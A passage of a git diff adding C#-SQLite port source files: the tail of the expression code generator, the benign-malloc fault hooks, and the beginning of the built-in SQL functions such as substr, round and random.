jumpIfNull ); + break; + } + case TK_LT: + case TK_LE: + case TK_GT: + case TK_GE: + case TK_NE: + case TK_EQ: + { + testcase( op == TK_LT ); + testcase( op == TK_LE ); + testcase( op == TK_GT ); + testcase( op == TK_GE ); + testcase( op == TK_EQ ); + testcase( op == TK_NE ); + testcase( jumpIfNull == 0 ); + codeCompareOperands( pParse, pExpr.pLeft, ref r1, ref regFree1, + pExpr.pRight, ref r2, ref regFree2 ); + codeCompare( pParse, pExpr.pLeft, pExpr.pRight, op, + r1, r2, dest, jumpIfNull ); + testcase( regFree1 == 0 ); + testcase( regFree2 == 0 ); + break; + } + case TK_ISNULL: + case TK_NOTNULL: + { + testcase( op == TK_ISNULL ); + testcase( op == TK_NOTNULL ); + r1 = sqlite3ExprCodeTemp( pParse, pExpr.pLeft, ref regFree1 ); + sqlite3VdbeAddOp2( v, op, r1, dest ); + testcase( regFree1 == 0 ); + break; + } + case TK_BETWEEN: + { + /* x BETWEEN y AND z + ** + ** Is equivalent to + ** + ** x>=y AND x<=z + ** + ** Code it as such, taking care to do the common subexpression + ** elementation of x. + */ + Expr exprAnd = new Expr(); + Expr compLeft = new Expr(); + Expr compRight = new Expr(); + Expr exprX = new Expr(); + + Debug.Assert( !ExprHasProperty( pExpr, EP_xIsSelect ) ); + exprX = pExpr.pLeft; + exprAnd.op = TK_AND; + exprAnd.pLeft = compLeft; + exprAnd.pRight = compRight; + compLeft.op = TK_GE; + compLeft.pLeft = exprX; + compLeft.pRight = pExpr.x.pList.a[0].pExpr; + compRight.op = TK_LE; + compRight.pLeft = exprX; + compRight.pRight = pExpr.x.pList.a[1].pExpr; + exprX.iTable = sqlite3ExprCodeTemp( pParse, exprX, ref regFree1 ); + testcase( regFree1 == 0 ); + exprX.op = TK_REGISTER; + testcase( jumpIfNull == 0 ); + sqlite3ExprIfFalse( pParse, exprAnd, dest, jumpIfNull ); + break; + } + default: + { + r1 = sqlite3ExprCodeTemp( pParse, pExpr, ref regFree1 ); + sqlite3VdbeAddOp3( v, OP_IfNot, r1, dest, jumpIfNull != 0 ? 1 : 0 ); + testcase( regFree1 == 0 ); + testcase( jumpIfNull == 0 ); + break; + } + } + sqlite3ReleaseTempReg( pParse, regFree1 ); + sqlite3ReleaseTempReg( pParse, regFree2 ); + } + + /* + ** Do a deep comparison of two expression trees. Return TRUE (non-zero) + ** if they are identical and return FALSE if they differ in any way. + ** + ** Sometimes this routine will return FALSE even if the two expressions + ** really are equivalent. If we cannot prove that the expressions are + ** identical, we return FALSE just to be safe. So if this routine + ** returns false, then you do not really know for certain if the two + ** expressions are the same. But if you get a TRUE return, then you + ** can be sure the expressions are the same. In the places where + ** this routine is used, it does not hurt to get an extra FALSE - that + ** just might result in some slightly slower code. But returning + ** an incorrect TRUE could lead to a malfunction. + */ + static bool sqlite3ExprCompare( Expr pA, Expr pB ) + { + int i; + if ( pA == null || pB == null ) + { + return pB == pA; + } + Debug.Assert( !ExprHasAnyProperty( pA, EP_TokenOnly | EP_Reduced ) ); + Debug.Assert( !ExprHasAnyProperty( pB, EP_TokenOnly | EP_Reduced ) ); + if ( ExprHasProperty( pA, EP_xIsSelect ) || ExprHasProperty( pB, EP_xIsSelect ) ) + { + return false; + } + if ( ( pA.flags & EP_Distinct ) != ( pB.flags & EP_Distinct ) ) return false; + if ( pA.op != pB.op ) return false; + if ( !sqlite3ExprCompare( pA.pLeft, pB.pLeft ) ) return false; + if ( !sqlite3ExprCompare( pA.pRight, pB.pRight ) ) return false; + if ( pA.x.pList != null && pB.x.pList != null ) + { + if ( pA.x.pList.nExpr != pB.x.pList.nExpr ) return false; + for ( i = 0 ; i < pA.x.pList.nExpr ; i++ ) + { + Expr pExprA = pA.x.pList.a[i].pExpr; + Expr pExprB = pB.x.pList.a[i].pExpr; + if ( !sqlite3ExprCompare( pExprA, pExprB ) ) return false; + } + } + else if ( pA.x.pList != null || pB.x.pList != null ) + { + return false; + } + if ( pA.iTable != pB.iTable || pA.iColumn != pB.iColumn ) return false; + if ( ExprHasProperty( pA, EP_IntValue ) ) + { + if ( !ExprHasProperty( pB, EP_IntValue ) || pA.u.iValue != pB.u.iValue ) + { + return false; + } + } + else if ( pA.op != TK_COLUMN && pA.u.zToken != null ) + { + if ( ExprHasProperty( pB, EP_IntValue ) || NEVER( pB.u.zToken == null ) ) return false; + if ( sqlite3StrICmp( pA.u.zToken, pB.u.zToken ) != 0 ) + { + return false; + } + } + return true; + } + + + /* + ** Add a new element to the pAggInfo.aCol[] array. Return the index of + ** the new element. Return a negative number if malloc fails. + */ + static int addAggInfoColumn( sqlite3 db, AggInfo pInfo ) + { + int i = 0; + pInfo.aCol = sqlite3ArrayAllocate( + db, + pInfo.aCol, + -1,//sizeof(pInfo.aCol[0]), + 3, + ref pInfo.nColumn, + ref pInfo.nColumnAlloc, + ref i + ); + return i; + } + + /* + ** Add a new element to the pAggInfo.aFunc[] array. Return the index of + ** the new element. Return a negative number if malloc fails. + */ + static int addAggInfoFunc( sqlite3 db, AggInfo pInfo ) + { + int i = 0; + pInfo.aFunc = sqlite3ArrayAllocate( + db, + pInfo.aFunc, + -1,//sizeof(pInfo.aFunc[0]), + 3, + ref pInfo.nFunc, + ref pInfo.nFuncAlloc, + ref i + ); + return i; + } + + /* + ** This is the xExprCallback for a tree walker. It is used to + ** implement sqlite3ExprAnalyzeAggregates(). See sqlite3ExprAnalyzeAggregates + ** for additional information. + */ + static int analyzeAggregate( Walker pWalker, ref Expr pExpr ) + { + int i; + NameContext pNC = pWalker.u.pNC; + Parse pParse = pNC.pParse; + SrcList pSrcList = pNC.pSrcList; + AggInfo pAggInfo = pNC.pAggInfo; + + switch ( pExpr.op ) + { + case TK_AGG_COLUMN: + case TK_COLUMN: + { + testcase( pExpr.op == TK_AGG_COLUMN ); + testcase( pExpr.op == TK_COLUMN ); + /* Check to see if the column is in one of the tables in the FROM + ** clause of the aggregate query */ + if ( ALWAYS( pSrcList != null ) ) + { + SrcList_item pItem;// = pSrcList.a; + for ( i = 0 ; i < pSrcList.nSrc ; i++ ) + {//, pItem++){ + pItem = pSrcList.a[i]; + AggInfo_col pCol; + Debug.Assert( !ExprHasAnyProperty( pExpr, EP_TokenOnly | EP_Reduced ) ); + if ( pExpr.iTable == pItem.iCursor ) + { + /* If we reach this point, it means that pExpr refers to a table + ** that is in the FROM clause of the aggregate query. + ** + ** Make an entry for the column in pAggInfo.aCol[] if there + ** is not an entry there already. + */ + int k; + //pCol = pAggInfo.aCol; + for ( k = 0 ; k < pAggInfo.nColumn ; k++ ) + {//, pCol++){ + pCol = pAggInfo.aCol[k]; + if ( pCol.iTable == pExpr.iTable && + pCol.iColumn == pExpr.iColumn ) + { + break; + } + } + if ( ( k >= pAggInfo.nColumn ) + && ( k = addAggInfoColumn( pParse.db, pAggInfo ) ) >= 0 + ) + { + pCol = pAggInfo.aCol[k]; + pCol.pTab = pExpr.pTab; + pCol.iTable = pExpr.iTable; + pCol.iColumn = pExpr.iColumn; + pCol.iMem = ++pParse.nMem; + pCol.iSorterColumn = -1; + pCol.pExpr = pExpr; + if ( pAggInfo.pGroupBy != null ) + { + int j, n; + ExprList pGB = pAggInfo.pGroupBy; + ExprList_item pTerm;// = pGB.a; + n = pGB.nExpr; + for ( j = 0 ; j < n ; j++ ) + {//, pTerm++){ + pTerm = pGB.a[j]; + Expr pE = pTerm.pExpr; + if ( pE.op == TK_COLUMN && pE.iTable == pExpr.iTable && + pE.iColumn == pExpr.iColumn ) + { + pCol.iSorterColumn = j; + break; + } + } + } + if ( pCol.iSorterColumn < 0 ) + { + pCol.iSorterColumn = pAggInfo.nSortingColumn++; + } + } + /* There is now an entry for pExpr in pAggInfo.aCol[] (either + ** because it was there before or because we just created it). + ** Convert the pExpr to be a TK_AGG_COLUMN referring to that + ** pAggInfo.aCol[] entry. + */ + ExprSetIrreducible( pExpr ); + pExpr.pAggInfo = pAggInfo; + pExpr.op = TK_AGG_COLUMN; + pExpr.iAgg = (short)k; + break; + } /* endif pExpr.iTable==pItem.iCursor */ + } /* end loop over pSrcList */ + } + return WRC_Prune; + } + case TK_AGG_FUNCTION: + { + /* The pNC.nDepth==0 test causes aggregate functions in subqueries + ** to be ignored */ + if ( pNC.nDepth == 0 ) + { + /* Check to see if pExpr is a duplicate of another aggregate + ** function that is already in the pAggInfo structure + */ + AggInfo_func pItem;// = pAggInfo.aFunc; + for ( i = 0 ; i < pAggInfo.nFunc ; i++ ) + {//, pItem++){ + pItem = pAggInfo.aFunc[i]; + if ( sqlite3ExprCompare( pItem.pExpr, pExpr ) ) + { + break; + } + } + if ( i >= pAggInfo.nFunc ) + { + /* pExpr is original. Make a new entry in pAggInfo.aFunc[] + */ + u8 enc = pParse.db.aDbStatic[0].pSchema.enc;// ENC(pParse.db); + i = addAggInfoFunc( pParse.db, pAggInfo ); + if ( i >= 0 ) + { + Debug.Assert( !ExprHasProperty( pExpr, EP_xIsSelect ) ); + pItem = pAggInfo.aFunc[i]; + pItem.pExpr = pExpr; + pItem.iMem = ++pParse.nMem; + Debug.Assert( !ExprHasProperty( pExpr, EP_IntValue ) ); + pItem.pFunc = sqlite3FindFunction( pParse.db, + pExpr.u.zToken, sqlite3Strlen30( pExpr.u.zToken ), + pExpr.x.pList != null ? pExpr.x.pList.nExpr : 0, enc, 0 ); + if ( ( pExpr.flags & EP_Distinct ) != 0 ) + { + pItem.iDistinct = pParse.nTab++; + } + else + { + pItem.iDistinct = -1; + } + } + } + /* Make pExpr point to the appropriate pAggInfo.aFunc[] entry + */ + Debug.Assert( !ExprHasAnyProperty( pExpr, EP_TokenOnly | EP_Reduced ) ); + ExprSetIrreducible( pExpr ); + pExpr.iAgg = (short)i; + pExpr.pAggInfo = pAggInfo; + return WRC_Prune; + } + break; + } + } + return WRC_Continue; + } + + static int analyzeAggregatesInSelect( Walker pWalker, Select pSelect ) + { + NameContext pNC = pWalker.u.pNC; + if ( pNC.nDepth == 0 ) + { + pNC.nDepth++; + sqlite3WalkSelect( pWalker, pSelect ); + pNC.nDepth--; + return WRC_Prune; + } + else + { + return WRC_Continue; + } + } + + + /* + ** Analyze the given expression looking for aggregate functions and + ** for variables that need to be added to the pParse.aAgg[] array. + ** Make additional entries to the pParse.aAgg[] array as necessary. + ** + ** This routine should only be called after the expression has been + ** analyzed by sqlite3ResolveExprNames(). + */ + static void sqlite3ExprAnalyzeAggregates( NameContext pNC, ref Expr pExpr ) + { + Walker w = new Walker(); + w.xExprCallback = (dxExprCallback)analyzeAggregate; + w.xSelectCallback = (dxSelectCallback)analyzeAggregatesInSelect; + w.u.pNC = pNC; + Debug.Assert( pNC.pSrcList != null ); + sqlite3WalkExpr( w, ref pExpr ); + } + + /* + ** Call sqlite3ExprAnalyzeAggregates() for every expression in an + ** expression list. Return the number of errors. + ** + ** If an error is found, the analysis is cut short. + */ + static void sqlite3ExprAnalyzeAggList( NameContext pNC, ExprList pList ) + { + ExprList_item pItem; + int i; + if ( pList != null ) + { + for ( i = 0 ; i < pList.nExpr ; i++ )//, pItem++) + { + pItem = pList.a[i]; + sqlite3ExprAnalyzeAggregates( pNC, ref pItem.pExpr ); + } + } + } + + /* + ** Allocate a single new register for use to hold some intermediate result. + */ + static int sqlite3GetTempReg( Parse pParse ) + { + if ( pParse.nTempReg == 0 ) + { + return ++pParse.nMem; + } + return pParse.aTempReg[--pParse.nTempReg]; + } + + /* + ** Deallocate a register, making available for reuse for some other + ** purpose. + ** + ** If a register is currently being used by the column cache, then + ** the dallocation is deferred until the column cache line that uses + ** the register becomes stale. + */ + static void sqlite3ReleaseTempReg( Parse pParse, int iReg ) + { + if ( iReg != 0 && pParse.nTempReg < ArraySize( pParse.aTempReg ) ) + { + int i; + yColCache p; + for ( i = 0 ; i < SQLITE_N_COLCACHE ; i++ )//p=pParse.aColCache... p++) + { + p = pParse.aColCache[i]; + if ( p.iReg == iReg ) + { + p.tempReg = 1; + return; + } + } + pParse.aTempReg[pParse.nTempReg++] = iReg; + } + } + + /* + ** Allocate or deallocate a block of nReg consecutive registers + */ + static int sqlite3GetTempRange( Parse pParse, int nReg ) + { + int i, n; + i = pParse.iRangeReg; + n = pParse.nRangeReg; + if ( nReg <= n && usedAsColumnCache( pParse, i, i + n - 1 ) == 0 ) + { + pParse.iRangeReg += nReg; + pParse.nRangeReg -= nReg; + } + else + { + i = pParse.nMem + 1; + pParse.nMem += nReg; + } + return i; + } + static void sqlite3ReleaseTempRange( Parse pParse, int iReg, int nReg ) + { + if ( nReg > pParse.nRangeReg ) + { + pParse.nRangeReg = nReg; + pParse.iRangeReg = iReg; + } + } + } +} diff --git a/SQLite/src/fault_c.cs b/SQLite/src/fault_c.cs new file mode 100644 index 0000000..b4f2b69 --- /dev/null +++ b/SQLite/src/fault_c.cs @@ -0,0 +1,120 @@ +using System; +using System.Diagnostics; + +namespace CS_SQLite3 +{ + public partial class CSSQLite + { + /* + ** 2008 Jan 22 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** + ** $Id: fault.c,v 1.11 2008/09/02 00:52:52 drh Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ + + /* + ** This file contains code to support the concept of "benign" + ** malloc failures (when the xMalloc() or xRealloc() method of the + ** sqlite3_mem_methods structure fails to allocate a block of memory + ** and returns 0). + ** + ** Most malloc failures are non-benign. After they occur, SQLite + ** abandons the current operation and returns an error code (usually + ** SQLITE_NOMEM) to the user. However, sometimes a fault is not necessarily + ** fatal. For example, if a malloc fails while resizing a hash table, this + ** is completely recoverable simply by not carrying out the resize. The + ** hash table will continue to function normally. So a malloc failure + ** during a hash table resize is a benign fault. + */ + + //#include "sqliteInt.h" + +#if !SQLITE_OMIT_BUILTIN_TEST + /* +** Global variables. +*/ + //typedef struct BenignMallocHooks BenignMallocHooks; + public struct BenignMallocHooks// + { + public void_function xBenignBegin;//void (*xBenignBegin)(void); + public void_function xBenignEnd; //void (*xBenignEnd)(void); + public BenignMallocHooks( void_function xBenignBegin, void_function xBenignEnd ) + { + this.xBenignBegin = xBenignBegin; + this.xBenignEnd = xBenignEnd; + } + } + static BenignMallocHooks sqlite3Hooks = new BenignMallocHooks( null, null ); + + /* The "wsdHooks" macro will resolve to the appropriate BenignMallocHooks + ** structure. If writable static data is unsupported on the target, + ** we have to locate the state vector at run-time. In the more common + ** case where writable static data is supported, wsdHooks can refer directly + ** to the "sqlite3Hooks" state vector declared above. + */ +#if SQLITE_OMIT_WSD +//# define wsdHooksInit \ +BenignMallocHooks *x = &GLOBAL(BenignMallocHooks,sqlite3Hooks) +//# define wsdHooks x[0] +#else + //# define wsdHooksInit + static void wsdHooksInit() { } + //# define wsdHooks sqlite3Hooks + static BenignMallocHooks wsdHooks = sqlite3Hooks; +#endif + + + + /* +** Register hooks to call when sqlite3BeginBenignMalloc() and +** sqlite3EndBenignMalloc() are called, respectively. +*/ + static void sqlite3BenignMallocHooks( + void_function xBenignBegin, //void (*xBenignBegin)(void), + void_function xBenignEnd //void (*xBenignEnd)(void) + ) + { + wsdHooksInit(); + wsdHooks.xBenignBegin = xBenignBegin; + wsdHooks.xBenignEnd = xBenignEnd; + } + + /* + ** This (sqlite3EndBenignMalloc()) is called by SQLite code to indicate that + ** subsequent malloc failures are benign. A call to sqlite3EndBenignMalloc() + ** indicates that subsequent malloc failures are non-benign. + */ + static void sqlite3BeginBenignMalloc() + { + wsdHooksInit(); + if ( wsdHooks.xBenignBegin != null ) + { + wsdHooks.xBenignBegin(); + } + } + static void sqlite3EndBenignMalloc() + { + wsdHooksInit(); + if ( wsdHooks.xBenignEnd != null ) + { + wsdHooks.xBenignEnd(); + } + } +#endif //* SQLITE_OMIT_BUILTIN_TEST */ + } +} diff --git a/SQLite/src/func_c.cs b/SQLite/src/func_c.cs new file mode 100644 index 0000000..55ced1e --- /dev/null +++ b/SQLite/src/func_c.cs @@ -0,0 +1,1895 @@ +using System; +using System.Diagnostics; +using System.Text; + +using sqlite3_int64 = System.Int64; +using i64 = System.Int64; +using u8 = System.Byte; +using u32 = System.UInt32; +using u64 = System.UInt64; + +namespace CS_SQLite3 +{ + using sqlite3_value = CSSQLite.Mem; + using sqlite_int64 = System.Int64; + + public partial class CSSQLite + { + /* + ** 2002 February 23 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** This file contains the C functions that implement various SQL + ** functions of SQLite. + ** + ** There is only one exported symbol in this file - the function + ** sqliteRegisterBuildinFunctions() found at the bottom of the file. + ** All other code has file scope. + ** + ** $Id: func.c,v 1.239 2009/06/19 16:44:41 drh Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ + //#include "sqliteInt.h" + //#include + //#include + //#include "vdbeInt.h" + + + /* + ** Return the collating function associated with a function. + */ + static CollSeq sqlite3GetFuncCollSeq( sqlite3_context context ) + { + return context.pColl; + } + + /* + ** Implementation of the non-aggregate min() and max() functions + */ + static void minmaxFunc( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + int i; + int mask; /* 0 for min() or 0xffffffff for max() */ + int iBest; + CollSeq pColl; + + Debug.Assert( argc > 1 ); + mask = (int)sqlite3_user_data( context ) == 0 ? 0 : -1; + pColl = sqlite3GetFuncCollSeq( context ); + Debug.Assert( pColl != null ); + Debug.Assert( mask == -1 || mask == 0 ); + testcase( mask == 0 ); + iBest = 0; + if ( sqlite3_value_type( argv[0] ) == SQLITE_NULL ) return; + for ( i = 1 ; i < argc ; i++ ) + { + if ( sqlite3_value_type( argv[i] ) == SQLITE_NULL ) return; + if ( ( sqlite3MemCompare( argv[iBest], argv[i], pColl ) ^ mask ) >= 0 ) + { + iBest = i; + } + } + sqlite3_result_value( context, argv[iBest] ); + } + + /* + ** Return the type of the argument. + */ + static void typeofFunc( + sqlite3_context context, + int NotUsed, + sqlite3_value[] argv + ) + { + string z = ""; + UNUSED_PARAMETER( NotUsed ); + switch ( sqlite3_value_type( argv[0] ) ) + { + case SQLITE_INTEGER: z = "integer"; break; + case SQLITE_TEXT: z = "text"; break; + case SQLITE_FLOAT: z = "real"; break; + case SQLITE_BLOB: z = "blob"; break; + default: z = "null"; break; + } + sqlite3_result_text( context, z, -1, SQLITE_STATIC ); + } + + + /* + ** Implementation of the length() function + */ + static void lengthFunc( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + int len; + + Debug.Assert( argc == 1 ); + UNUSED_PARAMETER( argc ); + switch ( sqlite3_value_type( argv[0] ) ) + { + case SQLITE_BLOB: + case SQLITE_INTEGER: + case SQLITE_FLOAT: + { + sqlite3_result_int( context, sqlite3_value_bytes( argv[0] ) ); + break; + } + case SQLITE_TEXT: + { + byte[] z = sqlite3_value_blob( argv[0] ); + if ( z == null ) return; + len = 0; + int iz = 0; + while ( iz < z.Length && z[iz] != '\0' ) + { + len++; + SQLITE_SKIP_UTF8( z, ref iz ); + } + sqlite3_result_int( context, len ); + break; + } + default: + { + sqlite3_result_null( context ); + break; + } + } + } + + /* + ** Implementation of the abs() function + */ + static void absFunc( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + Debug.Assert( argc == 1 ); + UNUSED_PARAMETER( argc ); + switch ( sqlite3_value_type( argv[0] ) ) + { + case SQLITE_INTEGER: + { + i64 iVal = sqlite3_value_int64( argv[0] ); + if ( iVal < 0 ) + { + if ( ( iVal << 1 ) == 0 ) + { + sqlite3_result_error( context, "integer overflow", -1 ); + return; + } + iVal = -iVal; + } + sqlite3_result_int64( context, iVal ); + break; + } + case SQLITE_NULL: + { + sqlite3_result_null( context ); + break; + } + default: + { + double rVal = sqlite3_value_double( argv[0] ); + if ( rVal < 0 ) rVal = -rVal; + sqlite3_result_double( context, rVal ); + break; + } + } + } + + /* + ** Implementation of the substr() function. + ** + ** substr(x,p1,p2) returns p2 characters of x[] beginning with p1. + ** p1 is 1-indexed. So substr(x,1,1) returns the first character + ** of x. If x is text, then we actually count UTF-8 characters. + ** If x is a blob, then we count bytes. + ** + ** If p1 is negative, then we begin abs(p1) from the end of x[]. + */ + static void substrFunc( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + string z = ""; + byte[] zBLOB = null; + string z2; + int len; + int p0type; + int p1, p2; + int negP2 = 0; + + Debug.Assert( argc == 3 || argc == 2 ); + if ( sqlite3_value_type( argv[1] ) == SQLITE_NULL + || ( argc == 3 && sqlite3_value_type( argv[2] ) == SQLITE_NULL ) + ) + { + return; + } + p0type = sqlite3_value_type( argv[0] ); + if ( p0type == SQLITE_BLOB ) + { + len = sqlite3_value_bytes( argv[0] ); + zBLOB = argv[0].zBLOB; + if ( zBLOB == null ) return; + Debug.Assert( len == zBLOB.Length ); + } + else + { + z = sqlite3_value_text( argv[0] ); + if ( z == null ) return; + len = z.Length; + //len = 0; + //for ( z2 = z ; z2 != "" ; len++ ) + //{ + // SQLITE_SKIP_UTF8( ref z2 ); + //} + } + p1 = sqlite3_value_int( argv[1] ); + if ( argc == 3 ) + { + p2 = sqlite3_value_int( argv[2] ); + if ( p2 < 0 ) + { + p2 = -p2; + negP2 = 1; + } + } + else + { + p2 = ( sqlite3_context_db_handle( context ) ).aLimit[SQLITE_LIMIT_LENGTH]; + } + if ( p1 < 0 ) + { + p1 += len; + if ( p1 < 0 ) + { + p2 += p1; + if ( p2 < 0 ) p2 = 0; + p1 = 0; + } + } + else if ( p1 > 0 ) + { + p1--; + } + else if ( p2 > 0 ) + { + p2--; + } + if ( negP2 != 0 ) + { + p1 -= p2; + if ( p1 < 0 ) + { + p2 += p1; + p1 = 0; + } + } + Debug.Assert( p1 >= 0 && p2 >= 0 ); + if ( p1 + p2 > len ) + { + p2 = len - p1; + if ( p2 < 0 ) p2 = 0; + } + if ( p0type != SQLITE_BLOB ) + { + //while ( z != "" && p1 != 0 ) + //{ + // SQLITE_SKIP_UTF8( ref z ); + // p1--; + //} + //for ( z2 = z ; z2 != "" && p2 != 0 ; p2-- ) + //{ + // SQLITE_SKIP_UTF8( ref z2 ); + //} + sqlite3_result_text( context, z.Length == 0 || p1 > z.Length ? "" : z.Substring( p1, p2 ), (int)p2, SQLITE_TRANSIENT ); + } + else + { + StringBuilder sb = new StringBuilder( zBLOB.Length ); + if ( zBLOB.Length == 0 || p1 > zBLOB.Length ) sb.Length = 0; + else + { + for ( int i = p1 ; i < p1 + p2 ; i++ ) { sb.Append( (char)zBLOB[i] ); } + } + + sqlite3_result_blob( context, sb.ToString(), (int)p2, SQLITE_TRANSIENT ); + } + } + + /* + ** Implementation of the round() function + */ +#if !SQLITE_OMIT_FLOATING_POINT + static void roundFunc( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + int n = 0; + double r; + string zBuf = ""; + Debug.Assert( argc == 1 || argc == 2 ); + if ( argc == 2 ) + { + if ( SQLITE_NULL == sqlite3_value_type( argv[1] ) ) return; + n = sqlite3_value_int( argv[1] ); + if ( n > 30 ) n = 30; + if ( n < 0 ) n = 0; + } + if ( sqlite3_value_type( argv[0] ) == SQLITE_NULL ) return; + r = sqlite3_value_double( argv[0] ); + zBuf = sqlite3_mprintf( "%.*f", n, r ); + if ( zBuf == null ) + { + sqlite3_result_error_nomem( context ); + } + else + { + sqlite3AtoF( zBuf, ref r ); + //sqlite3_free( ref zBuf ); + sqlite3_result_double( context, r ); + } + } +#endif + + /* +** Allocate nByte bytes of space using sqlite3_malloc(). If the +** allocation fails, call sqlite3_result_error_nomem() to notify +** the database handle that malloc() has failed and return NULL. +** If nByte is larger than the maximum string or blob length, then +** raise an SQLITE_TOOBIG exception and return NULL. +*/ + //static void* contextMalloc( sqlite3_context* context, i64 nByte ) + //{ + // char* z; + // sqlite3* db = sqlite3_context_db_handle( context ); + // assert( nByte > 0 ); + // testcase( nByte == db->aLimit[SQLITE_LIMIT_LENGTH] ); + // testcase( nByte == db->aLimit[SQLITE_LIMIT_LENGTH] + 1 ); + // if ( nByte > db->aLimit[SQLITE_LIMIT_LENGTH] ) + // { + // sqlite3_result_error_toobig( context ); + // z = 0; + // } + // else + // { + // z = sqlite3Malloc( (int)nByte ); + // if ( !z ) + // { + // sqlite3_result_error_nomem( context ); + // } + // } + // return z; + //} + + /* + ** Implementation of the upper() and lower() SQL functions. + */ + static void upperFunc( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + string z1; + string z2; + int i, n; + UNUSED_PARAMETER( argc ); + z2 = sqlite3_value_text( argv[0] ); + n = sqlite3_value_bytes( argv[0] ); + /* Verify that the call to _bytes() does not invalidate the _text() pointer */ + //Debug.Assert( z2 == sqlite3_value_text( argv[0] ) ); + if ( z2 != null ) + { + //z1 = new byte[n];// contextMalloc(context, ((i64)n)+1); + //if ( z1 !=null) + //{ + // memcpy( z1, z2, n + 1 ); + //for ( i = 0 ; i< z1.Length ; i++ ) + //{ + //(char)sqlite3Toupper( z1[i] ); + //} + sqlite3_result_text(context, z2.Length == 0 ? "" : z2.Substring(0, n).ToUpper(), -1, null); //sqlite3_free ); + // } + } + } + + static void lowerFunc( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + string z1; + string z2; + int i, n; + UNUSED_PARAMETER( argc ); + z2 = sqlite3_value_text( argv[0] ); + n = sqlite3_value_bytes( argv[0] ); + /* Verify that the call to _bytes() does not invalidate the _text() pointer */ + //Debug.Assert( z2 == sqlite3_value_text( argv[0] ) ); + if ( z2 != null ) + { + //z1 = contextMalloc(context, ((i64)n)+1); + //if ( z1 ) + //{ + // memcpy( z1, z2, n + 1 ); + // for ( i = 0 ; z1[i] ; i++ ) + // { + // z1[i] = (char)sqlite3Tolower( z1[i] ); + // } + z1 = z2.Length == 0 ? "" : z2.Substring( 0, n ).ToLower(); + sqlite3_result_text(context, z1, -1, null);//sqlite3_free ); + //} + } + } + + /* + ** Implementation of the IFNULL(), NVL(), and COALESCE() functions. + ** All three do the same thing. They return the first non-NULL + ** argument. + */ + static void ifnullFunc( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + int i; + for ( i = 0 ; i < argc ; i++ ) + { + if ( SQLITE_NULL != sqlite3_value_type( argv[i] ) ) + { + sqlite3_result_value( context, argv[i] ); + break; + } + } + } + + /* + ** Implementation of random(). Return a random integer. + */ + static void randomFunc( + sqlite3_context context, + int NotUsed, + sqlite3_value[] NotUsed2 + ) + { + sqlite_int64 r = 0; + UNUSED_PARAMETER2( NotUsed, NotUsed2 ); + sqlite3_randomness( sizeof( sqlite_int64 ), ref r ); + if ( r < 0 ) + { + /* We need to prevent a random number of 0x8000000000000000 + ** (or -9223372036854775808) since when you do abs() of that + ** number of you get the same value back again. To do this + ** in a way that is testable, mask the sign bit off of negative + ** values, resulting in a positive value. Then take the + ** 2s complement of that positive value. The end result can + ** therefore be no less than -9223372036854775807. + */ + r = -( r ^ ( ( (sqlite3_int64)1 ) << 63 ) ); + } + sqlite3_result_int64( context, r ); + } + + /* + ** Implementation of randomblob(N). Return a random blob + ** that is N bytes long. + */ + static void randomBlob( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + int n; + char[] p; + Debug.Assert( argc == 1 ); + UNUSED_PARAMETER( argc ); + n = sqlite3_value_int( argv[0] ); + if ( n < 1 ) + { + n = 1; + } + p = new char[n]; //contextMalloc( context, n ); + if ( p != null ) + { + i64 _p = 0; + for ( int i = 0 ; i < n ; i++ ) + { + sqlite3_randomness( sizeof( u8 ), ref _p ); + p[i] = (char)( _p & 0x7F ); + } + sqlite3_result_blob( context, new string( p ), n, null);//sqlite3_free ); + } + } + + /* + ** Implementation of the last_insert_rowid() SQL function. The return + ** value is the same as the sqlite3_last_insert_rowid() API function. + */ + static void last_insert_rowid( + sqlite3_context context, + int NotUsed, + sqlite3_value[] NotUsed2 + ) + { + sqlite3 db = sqlite3_context_db_handle( context ); + UNUSED_PARAMETER2( NotUsed, NotUsed2 ); + sqlite3_result_int64( context, sqlite3_last_insert_rowid( db ) ); + } + + /* + ** Implementation of the changes() SQL function. The return value is the + ** same as the sqlite3_changes() API function. + */ + static void changes( + sqlite3_context context, + int NotUsed, + sqlite3_value[] NotUsed2 + ) + { + sqlite3 db = sqlite3_context_db_handle( context ); + UNUSED_PARAMETER2( NotUsed, NotUsed2 ); + sqlite3_result_int( context, sqlite3_changes( db ) ); + } + + /* + ** Implementation of the total_changes() SQL function. The return value is + ** the same as the sqlite3_total_changes() API function. + */ + static void total_changes( + sqlite3_context context, + int NotUsed, + sqlite3_value[] NotUsed2 + ) + { + sqlite3 db = (sqlite3)sqlite3_context_db_handle( context ); + UNUSED_PARAMETER2( NotUsed, NotUsed2 ); + sqlite3_result_int( context, sqlite3_total_changes( db ) ); + } + + /* + ** A structure defining how to do GLOB-style comparisons. + */ + struct compareInfo + { + public char matchAll; + public char matchOne; + public char matchSet; + public bool noCase; + public compareInfo( char matchAll, char matchOne, char matchSet, bool noCase ) + { + this.matchAll = matchAll; + this.matchOne = matchOne; + this.matchSet = matchSet; + this.noCase = noCase; + } + }; + + /* + ** For LIKE and GLOB matching on EBCDIC machines, assume that every + ** character is exactly one byte in size. Also, all characters are + ** able to participate in upper-case-to-lower-case mappings in EBCDIC + ** whereas only characters less than 0x80 do in ASCII. + */ +#if (SQLITE_EBCDIC) +//# define 